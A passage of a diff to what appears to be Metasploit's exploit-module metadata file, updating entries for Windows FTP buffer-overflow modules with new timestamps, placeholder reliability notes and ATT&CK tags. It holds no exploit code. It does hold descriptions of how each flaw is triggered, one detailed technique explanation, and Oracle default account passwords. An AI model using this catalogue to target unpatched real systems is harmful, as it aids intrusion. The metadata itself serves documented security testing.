@@ -162597,7 +166550,7 @@ "targets": [ "Oracle 9.2.0.1 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb", "is_install_path": true, "ref_name": "windows/ftp/oracle9i_xdb_ftp_pass", @@ -162605,6 +166558,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -162612,9 +166574,7 @@ "exploit_windows/ftp/oracle9i_xdb_ftp_unlock": { "name": "Oracle 9i XDB FTP UNLOCK Overflow (win32)", "fullname": "exploit/windows/ftp/oracle9i_xdb_ftp_unlock", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2003-08-18", "type": "exploit", @@ -162622,7 +166582,7 @@ "MC ", "David Litchfield " ], - "description": "By passing an overly long token to the UNLOCK command, a\n stack based buffer overflow occurs. David Litchfield, has\n illustrated multiple vulnerabilities in the Oracle 9i XML\n Database (XDB), during a seminar on \"Variations in exploit\n methods between Linux and Windows\" presented at the Blackhat\n conference. Oracle9i includes a number of default accounts,\n including dbsnmp:dbsmp, scott:tiger, system:manager, and\n sys:change_on_install.", + "description": "By passing an overly long token to the UNLOCK command, a\n stack based buffer overflow occurs. David Litchfield, has\n illustrated multiple vulnerabilities in the Oracle 9i XML\n Database (XDB), during a seminar on \"Variations in exploit\n methods between Linux and Windows\" presented at the Blackhat\n conference. Oracle9i includes a number of default accounts,\n including dbsnmp:dbsmp, scott:tiger, system:manager, and\n sys:change_on_install.", "references": [ "CVE-2003-0727", "OSVDB-2449", @@ -162642,7 +166602,7 @@ "targets": [ "Oracle 9.2.0.1 Universal" ], - "mod_time": "2022-08-08 01:40:15 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb", "is_install_path": true, "ref_name": "windows/ftp/oracle9i_xdb_ftp_unlock", @@ -162650,6 +166610,15 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -162657,9 +166626,7 @@ "exploit_windows/ftp/pcman_put": { "name": "PCMAN FTP Server Buffer Overflow - PUT Command", "fullname": "exploit/windows/ftp/pcman_put", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-08-07", "type": "exploit", @@ -162686,7 +166653,7 @@ "targets": [ "Windows XP SP3 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/pcman_put.rb", "is_install_path": true, "ref_name": "windows/ftp/pcman_put", @@ -162694,6 +166661,15 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -162701,9 +166677,7 @@ "exploit_windows/ftp/pcman_stor": { "name": "PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow", "fullname": "exploit/windows/ftp/pcman_stor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-06-27", "type": "exploit", @@ -162730,7 +166704,7 @@ "targets": [ "Windows XP SP3 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/pcman_stor.rb", "is_install_path": true, "ref_name": "windows/ftp/pcman_stor", @@ -162738,6 +166712,15 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -162745,16 +166728,14 @@ "exploit_windows/ftp/proftp_banner": { "name": "ProFTP 2.9 Banner Remote Buffer Overflow", "fullname": "exploit/windows/ftp/proftp_banner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-08-25", "type": "exploit", "author": [ "His0k4 " ], - "description": "This module exploits a buffer overflow in the ProFTP 2.9\n client that is triggered through an excessively long welcome message.", + "description": "This module exploits a buffer overflow in the ProFTP 2.9\n client that is triggered through an excessively long welcome message.", "references": [ "CVE-2009-3976", "OSVDB-57394", @@ -162763,16 +166744,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/proftp_banner.rb", "is_install_path": true, "ref_name": "windows/ftp/proftp_banner", @@ -162780,6 +166757,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -162787,9 +166773,7 @@ "exploit_windows/ftp/quickshare_traversal_write": { "name": "QuickShare File Server 1.2.1 Directory Traversal Vulnerability", "fullname": "exploit/windows/ftp/quickshare_traversal_write", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-02-03", "type": "exploit", @@ -162797,12 +166781,15 @@ "modpr0be", "sinn3r " ], - "description": "This module exploits a vulnerability found in QuickShare File Server's FTP\n service. By supplying \"../\" in the file path, it is possible to trigger a\n directory traversal flaw, allowing the attacker to read a file outside the\n virtual directory. By default, the \"Writable\" option is enabled during account\n creation, therefore this makes it possible to create a file at an arbitrary\n location, which leads to remote code execution.", + "description": "This module exploits a vulnerability found in QuickShare File Server's FTP\n service. By supplying \"../\" in the file path, it is possible to trigger a\n directory traversal flaw, allowing the attacker to read a file outside the\n virtual directory. By default, the \"Writable\" option is enabled during account\n creation, therefore this makes it possible to create a file at an arbitrary\n location, which leads to remote code execution.", "references": [ "OSVDB-70776", "EDB-16105", "URL-http://www.quicksharehq.com/blog/quickshare-file-server-1-2-2-released.html", - "URL-http://www.digital-echidna.org/2011/02/quickshare-file-share-1-2-1-directory-traversal-vulnerability/" + "URL-http://www.digital-echidna.org/2011/02/quickshare-file-share-1-2-1-directory-traversal-vulnerability/", + "ATT&CK-T1059", + "ATT&CK-T1068", + "ATT&CK-T1105" ], "platform": "Windows", "arch": "", @@ -162817,7 +166804,7 @@ "targets": [ "QuickShare File Server 1.2.1" ], - "mod_time": "2021-02-18 09:18:19 +0000", + "mod_time": "2025-06-06 12:39:33 +0000", "path": "/modules/exploits/windows/ftp/quickshare_traversal_write.rb", "is_install_path": true, "ref_name": "windows/ftp/quickshare_traversal_write", @@ -162825,6 +166812,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -162832,9 +166828,7 @@ "exploit_windows/ftp/ricoh_dl_bof": { "name": "Ricoh DC DL-10 SR10 FTP USER Command Buffer Overflow", "fullname": "exploit/windows/ftp/ricoh_dl_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-03-01", "type": "exploit", @@ -162842,7 +166836,7 @@ "Julien Ahrens", "sinn3r " ], - "description": "This module exploits a vulnerability found in Ricoh DC's DL-10 SR10 FTP\n service. By supplying a long string of data to the USER command, it is\n possible to trigger a stack-based buffer overflow, which allows remote code\n execution under the context of the user.\n\n Please note that in order to trigger the vulnerability, the server must\n be configured with a log file name (by default, it's disabled).", + "description": "This module exploits a vulnerability found in Ricoh DC's DL-10 SR10 FTP\n service. By supplying a long string of data to the USER command, it is\n possible to trigger a stack-based buffer overflow, which allows remote code\n execution under the context of the user.\n\n Please note that in order to trigger the vulnerability, the server must\n be configured with a log file name (by default, it's disabled).", "references": [ "CVE-2012-5002", "OSVDB-79691", @@ -162862,7 +166856,7 @@ "targets": [ "Windows XP SP3" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/ricoh_dl_bof.rb", "is_install_path": true, "ref_name": "windows/ftp/ricoh_dl_bof", @@ -162870,6 +166864,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -162877,9 +166880,7 @@ "exploit_windows/ftp/sami_ftpd_list": { "name": "Sami FTP Server LIST Command Buffer Overflow", "fullname": "exploit/windows/ftp/sami_ftpd_list", - "aliases": [ - - ], + "aliases": [], "rank": 100, "disclosure_date": "2013-02-27", "type": "exploit", @@ -162887,7 +166888,7 @@ "superkojiman", "Doug Prostko " ], - "description": "This module exploits a stack based buffer overflow on Sami FTP Server 2.0.1.\n The vulnerability exists in the processing of LIST commands. In order to trigger\n the vulnerability, the \"Log\" tab must be viewed in the Sami FTP Server managing\n application, in the target machine. On the other hand, the source IP address used\n to connect with the FTP Server is needed. If the user can't provide it, the module\n will try to resolve it. This module has been tested successfully on Sami FTP Server\n 2.0.1 over Windows XP SP3.", + "description": "This module exploits a stack based buffer overflow on Sami FTP Server 2.0.1.\n The vulnerability exists in the processing of LIST commands. In order to trigger\n the vulnerability, the \"Log\" tab must be viewed in the Sami FTP Server managing\n application, in the target machine. On the other hand, the source IP address used\n to connect with the FTP Server is needed. If the user can't provide it, the module\n will try to resolve it. This module has been tested successfully on Sami FTP Server\n 2.0.1 over Windows XP SP3.", "references": [ "OSVDB-90815", "BID-58247", @@ -162906,7 +166907,7 @@ "targets": [ "Sami FTP Server 2.0.1 / Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/sami_ftpd_list.rb", "is_install_path": true, "ref_name": "windows/ftp/sami_ftpd_list", @@ -162914,6 +166915,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -162921,9 +166931,7 @@ "exploit_windows/ftp/sami_ftpd_user": { "name": "KarjaSoft Sami FTP Server v2.0.2 USER Overflow", "fullname": "exploit/windows/ftp/sami_ftpd_user", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-01-24", "type": "exploit", @@ -162952,16 +166960,12 @@ "platform": "Windows", "arch": "x86", "rport": 21, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Sami FTP Server version 2.0.2" ], - "mod_time": "2021-02-25 20:53:30 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/ftp/sami_ftpd_user.rb", "is_install_path": true, "ref_name": "windows/ftp/sami_ftpd_user", @@ -162971,6 +166975,12 @@ "notes": { "Stability": [ "crash-service-down" + ], + "Reliability": [ + "unknown-reliability" + ], + "SideEffects": [ + "unknown-side-effects" ] }, "session_types": false, @@ -162979,9 +166989,7 @@ "exploit_windows/ftp/sasser_ftpd_port": { "name": "Sasser Worm avserve FTP PORT Buffer Overflow", "fullname": "exploit/windows/ftp/sasser_ftpd_port", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-05-10", "type": "exploit", @@ -162990,7 +166998,7 @@ "chamuco ", "aushack " ], - "description": "This module exploits the FTP server component of the Sasser worm.\n By sending an overly long PORT command the stack can be overwritten.", + "description": "This module exploits the FTP server component of the Sasser worm.\n By sending an overly long PORT command the stack can be overwritten.", "references": [ "OSVDB-6197" ], @@ -163008,7 +167016,7 @@ "Windows XP SP0", "Windows XP SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/sasser_ftpd_port.rb", "is_install_path": true, "ref_name": "windows/ftp/sasser_ftpd_port", @@ -163016,6 +167024,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -163023,9 +167040,7 @@ "exploit_windows/ftp/scriptftp_list": { "name": "ScriptFTP LIST Remote Buffer Overflow", "fullname": "exploit/windows/ftp/scriptftp_list", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-10-12", "type": "exploit", @@ -163034,7 +167049,7 @@ "TecR0c ", "mr_me " ], - "description": "AmmSoft's ScriptFTP client is susceptible to a remote buffer overflow\n vulnerability that is triggered when processing a sufficiently long\n filename during a FTP LIST command resulting in overwriting the\n exception handler. Social engineering of executing a specially crafted\n ftp file by double click will result in connecting to our malicious\n server and perform arbitrary code execution which allows the attacker to\n gain the same rights as the user running ScriptFTP. This vulnerability\n affects versions 3.3 and earlier.", + "description": "AmmSoft's ScriptFTP client is susceptible to a remote buffer overflow\n vulnerability that is triggered when processing a sufficiently long\n filename during a FTP LIST command resulting in overwriting the\n exception handler. Social engineering of executing a specially crafted\n ftp file by double click will result in connecting to our malicious\n server and perform arbitrary code execution which allows the attacker to\n gain the same rights as the user running ScriptFTP. This vulnerability\n affects versions 3.3 and earlier.", "references": [ "CVE-2011-3976", "OSVDB-75633", @@ -163044,16 +167059,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 / Windows Vista" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/scriptftp_list.rb", "is_install_path": true, "ref_name": "windows/ftp/scriptftp_list", @@ -163061,6 +167072,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -163068,16 +167088,14 @@ "exploit_windows/ftp/seagull_list_reply": { "name": "Seagull FTP v3.3 Build 409 Stack Buffer Overflow", "fullname": "exploit/windows/ftp/seagull_list_reply", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-10-12", "type": "exploit", "author": [ "corelanc0d3r " ], - "description": "This module exploits a buffer overflow in the Seagull FTP client that gets\n triggered when the ftp client processes a response to a LIST command. If the\n response contains an overly long file/folder name, a buffer overflow occurs,\n overwriting a structured exception handler.", + "description": "This module exploits a buffer overflow in the Seagull FTP client that gets\n triggered when the ftp client processes a response to a LIST command. If the\n response contains an overly long file/folder name, a buffer overflow occurs,\n overwriting a structured exception handler.", "references": [ "OSVDB-94556", "URL-http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/" @@ -163085,16 +167103,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "XP Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/seagull_list_reply.rb", "is_install_path": true, "ref_name": "windows/ftp/seagull_list_reply", @@ -163102,6 +167116,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -163109,16 +167132,14 @@ "exploit_windows/ftp/servu_chmod": { "name": "Serv-U FTP Server Buffer Overflow", "fullname": "exploit/windows/ftp/servu_chmod", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2004-12-31", "type": "exploit", "author": [ "theLightCosine " ], - "description": "This module exploits a stack buffer overflow in the site chmod command\n in versions of Serv-U FTP Server prior to 4.2.\n\n You must have valid credentials to trigger this vulnerability. Exploitation\n also leaves the service in a non-functional state.", + "description": "This module exploits a stack buffer overflow in the site chmod command\n in versions of Serv-U FTP Server prior to 4.2.\n\n You must have valid credentials to trigger this vulnerability. Exploitation\n also leaves the service in a non-functional state.", "references": [ "CVE-2004-2111", "OSVDB-3713", @@ -163138,7 +167159,7 @@ "Windows 2000 SP0-4 EN", "Windows XP SP0-1 EN" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/servu_chmod.rb", "is_install_path": true, "ref_name": "windows/ftp/servu_chmod", @@ -163146,6 +167167,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -163153,16 +167183,14 @@ "exploit_windows/ftp/servu_mdtm": { "name": "Serv-U FTPD MDTM Overflow", "fullname": "exploit/windows/ftp/servu_mdtm", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2004-02-26", "type": "exploit", "author": [ "spoonm " ], - "description": "This is an exploit for the Serv-U\\'s MDTM command timezone\n overflow. It has been heavily tested against versions\n 4.0.0.4/4.1.0.0/4.1.0.3/5.0.0.0 with success against\n nt4/2k/xp/2k3. I have also had success against version 3,\n but only tested 1 version/os. The bug is in all versions\n prior to 5.0.0.4, but this exploit will not work against\n versions not listed above. You only get one shot, but it\n should be OS/SP independent.\n\n This exploit is a single hit, the service dies after the\n shellcode finishes execution.", + "description": "This is an exploit for the Serv-U\\'s MDTM command timezone\n overflow. It has been heavily tested against versions\n 4.0.0.4/4.1.0.0/4.1.0.3/5.0.0.0 with success against\n nt4/2k/xp/2k3. I have also had success against version 3,\n but only tested 1 version/os. The bug is in all versions\n prior to 5.0.0.4, but this exploit will not work against\n versions not listed above. You only get one shot, but it\n should be OS/SP independent.\n\n This exploit is a single hit, the service dies after the\n shellcode finishes execution.", "references": [ "CVE-2004-0330", "OSVDB-4073", @@ -163184,7 +167212,7 @@ "Serv-U 4.0.0.4/4.1.0.0/4.1.0.3 ServUDaemon.exe", "Serv-U 5.0.0.0 ServUDaemon.exe" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/servu_mdtm.rb", "is_install_path": true, "ref_name": "windows/ftp/servu_mdtm", @@ -163192,6 +167220,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -163199,16 +167236,14 @@ "exploit_windows/ftp/slimftpd_list_concat": { "name": "SlimFTPd LIST Concatenation Overflow", "fullname": "exploit/windows/ftp/slimftpd_list_concat", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2005-07-21", "type": "exploit", "author": [ "Fairuzan Roslan " ], - "description": "This module exploits a stack buffer overflow in the SlimFTPd\n server. The flaw is triggered when a LIST command is\n received with an overly-long argument. This vulnerability\n affects all versions of SlimFTPd prior to 3.16 and was\n discovered by Raphael Rigo.", + "description": "This module exploits a stack buffer overflow in the SlimFTPd\n server. The flaw is triggered when a LIST command is\n received with an overly-long argument. This vulnerability\n affects all versions of SlimFTPd prior to 3.16 and was\n discovered by Raphael Rigo.", "references": [ "CVE-2005-2373", "OSVDB-18172", @@ -163227,7 +167262,7 @@ "targets": [ "SlimFTPd Server <= 3.16 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/slimftpd_list_concat.rb", "is_install_path": true, "ref_name": "windows/ftp/slimftpd_list_concat", @@ -163235,6 +167270,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -163242,9 +167286,7 @@ "exploit_windows/ftp/trellian_client_pasv": { "name": "Trellian FTP Client 3.01 PASV Remote Buffer Overflow", "fullname": "exploit/windows/ftp/trellian_client_pasv", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-04-11", "type": "exploit", @@ -163252,7 +167294,7 @@ "zombiefx", "dookie" ], - "description": "This module exploits a buffer overflow in the Trellian 3.01 FTP client that is triggered\n through an excessively long PASV message.", + "description": "This module exploits a buffer overflow in the Trellian 3.01 FTP client that is triggered\n through an excessively long PASV message.", "references": [ "CVE-2010-1465", "OSVDB-63812", @@ -163261,16 +167303,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/trellian_client_pasv.rb", "is_install_path": true, "ref_name": "windows/ftp/trellian_client_pasv", @@ -163278,6 +167316,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -163285,9 +167332,7 @@ "exploit_windows/ftp/turboftp_port": { "name": "Turbo FTP Server 1.30.823 PORT Overflow", "fullname": "exploit/windows/ftp/turboftp_port", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2012-10-03", "type": "exploit", @@ -163297,7 +167342,7 @@ "corelanc0d3r", "thelightcosine" ], - "description": "This module exploits a buffer overflow vulnerability found in the PORT\n command in Turbo FTP Server 1.30.823 & 1.30.826, which results in remote\n code execution under the context of SYSTEM.", + "description": "This module exploits a buffer overflow vulnerability found in the PORT\n command in Turbo FTP Server 1.30.823 & 1.30.826, which results in remote\n code execution under the context of SYSTEM.", "references": [ "EDB-22161", "OSVDB-85887" @@ -163317,7 +167362,7 @@ "Windows Universal TurboFtp 1.30.823", "Windows Universal TurboFtp 1.30.826" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/turboftp_port.rb", "is_install_path": true, "ref_name": "windows/ftp/turboftp_port", @@ -163325,6 +167370,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -163332,16 +167386,14 @@ "exploit_windows/ftp/vermillion_ftpd_port": { "name": "Vermillion FTP Daemon PORT Command Memory Corruption", "fullname": "exploit/windows/ftp/vermillion_ftpd_port", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-09-23", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits an out-of-bounds array access in the Arcane Software\n Vermillion FTP server. By sending a specially crafted FTP PORT command,\n an attacker can corrupt stack memory and execute arbitrary code.\n\n This particular issue is caused by processing data bound by attacker\n controlled input while writing into a 4 byte stack buffer. Unfortunately,\n the writing that occurs is not a simple byte copy.\n\n Processing is done using a source ptr (p) and a destination pointer (q).\n The vulnerable function walks the input string and continues while the\n source byte is non-null. If a comma is encountered, the function increments\n the destination pointer. If an ascii digit [0-9] is encountered, the\n following occurs:\n\n *q = (*q * 10) + (*p - '0');\n\n All other input characters are ignored in this loop.\n\n As a consequence, an attacker must craft input such that modifications\n to the current values on the stack result in usable values. In this exploit,\n the low two bytes of the return address are adjusted to point at the\n location of a 'call edi' instruction within the binary. This was chosen\n since 'edi' points at the source buffer when the function returns.\n\n NOTE: This server can be installed as a service using \"vftpd.exe install\".\n If so, the service does not restart automatically, giving an attacker only\n one attempt.", + "description": "This module exploits an out-of-bounds array access in the Arcane Software\n Vermillion FTP server. By sending a specially crafted FTP PORT command,\n an attacker can corrupt stack memory and execute arbitrary code.\n\n This particular issue is caused by processing data bound by attacker\n controlled input while writing into a 4 byte stack buffer. Unfortunately,\n the writing that occurs is not a simple byte copy.\n\n Processing is done using a source ptr (p) and a destination pointer (q).\n The vulnerable function walks the input string and continues while the\n source byte is non-null. If a comma is encountered, the function increments\n the destination pointer. If an ascii digit [0-9] is encountered, the\n following occurs:\n\n *q = (*q * 10) + (*p - '0');\n\n All other input characters are ignored in this loop.\n\n As a consequence, an attacker must craft input such that modifications\n to the current values on the stack result in usable values. In this exploit,\n the low two bytes of the return address are adjusted to point at the\n location of a 'call edi' instruction within the binary. This was chosen\n since 'edi' points at the source buffer when the function returns.\n\n NOTE: This server can be installed as a service using \"vftpd.exe install\".\n If so, the service does not restart automatically, giving an attacker only\n one attempt.", "references": [ "OSVDB-62163", "EDB-11293" @@ -163360,7 +167412,7 @@ "Automatic Targeting", "vftpd 1.31 - Windows XP SP3 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/vermillion_ftpd_port.rb", "is_install_path": true, "ref_name": "windows/ftp/vermillion_ftpd_port", @@ -163368,6 +167420,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -163375,16 +167436,14 @@ "exploit_windows/ftp/warftpd_165_pass": { "name": "War-FTPD 1.65 Password Overflow", "fullname": "exploit/windows/ftp/warftpd_165_pass", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "1998-03-19", "type": "exploit", "author": [ "hdm " ], - "description": "This exploits the buffer overflow found in the PASS command\n in War-FTPD 1.65. This particular module will only work\n reliably against Windows 2000 targets. The server must be\n configured to allow anonymous logins for this exploit to\n succeed. A failed attempt will bring down the service\n completely.", + "description": "This exploits the buffer overflow found in the PASS command\n in War-FTPD 1.65. This particular module will only work\n reliably against Windows 2000 targets. The server must be\n configured to allow anonymous logins for this exploit to\n succeed. A failed attempt will bring down the service\n completely.", "references": [ "CVE-1999-0256", "OSVDB-875", @@ -163403,7 +167462,7 @@ "targets": [ "Windows 2000" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/warftpd_165_pass.rb", "is_install_path": true, "ref_name": "windows/ftp/warftpd_165_pass", @@ -163411,6 +167470,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -163418,16 +167486,14 @@ "exploit_windows/ftp/warftpd_165_user": { "name": "War-FTPD 1.65 Username Overflow", "fullname": "exploit/windows/ftp/warftpd_165_user", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "1998-03-19", "type": "exploit", "author": [ "Fairuzan Roslan " ], - "description": "This module exploits a buffer overflow found in the USER command\n of War-FTPD 1.65.", + "description": "This module exploits a buffer overflow found in the USER command\n of War-FTPD 1.65.", "references": [ "CVE-1999-0256", "OSVDB-875", @@ -163450,7 +167516,7 @@ "Windows XP SP2 English", "Windows XP SP3 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/warftpd_165_user.rb", "is_install_path": true, "ref_name": "windows/ftp/warftpd_165_user", @@ -163458,6 +167524,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -163465,16 +167540,14 @@ "exploit_windows/ftp/wftpd_size": { "name": "Texas Imperial Software WFTPD 3.23 SIZE Overflow", "fullname": "exploit/windows/ftp/wftpd_size", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-08-23", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a buffer overflow in the SIZE verb in\n Texas Imperial's Software WFTPD 3.23.", + "description": "This module exploits a buffer overflow in the SIZE verb in\n Texas Imperial's Software WFTPD 3.23.", "references": [ "CVE-2006-4318", "OSVDB-28134", @@ -163495,7 +167568,7 @@ "Windows XP Pro SP1 English", "Windows XP Pro SP2 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/wftpd_size.rb", "is_install_path": true, "ref_name": "windows/ftp/wftpd_size", @@ -163503,6 +167576,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -163510,9 +167592,7 @@ "exploit_windows/ftp/winaxe_server_ready": { "name": "WinaXe 7.7 FTP Client Remote Buffer Overflow", "fullname": "exploit/windows/ftp/winaxe_server_ready", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2016-11-03", "type": "exploit", @@ -163520,7 +167600,7 @@ "Chris Higgins", "hyp3rlix" ], - 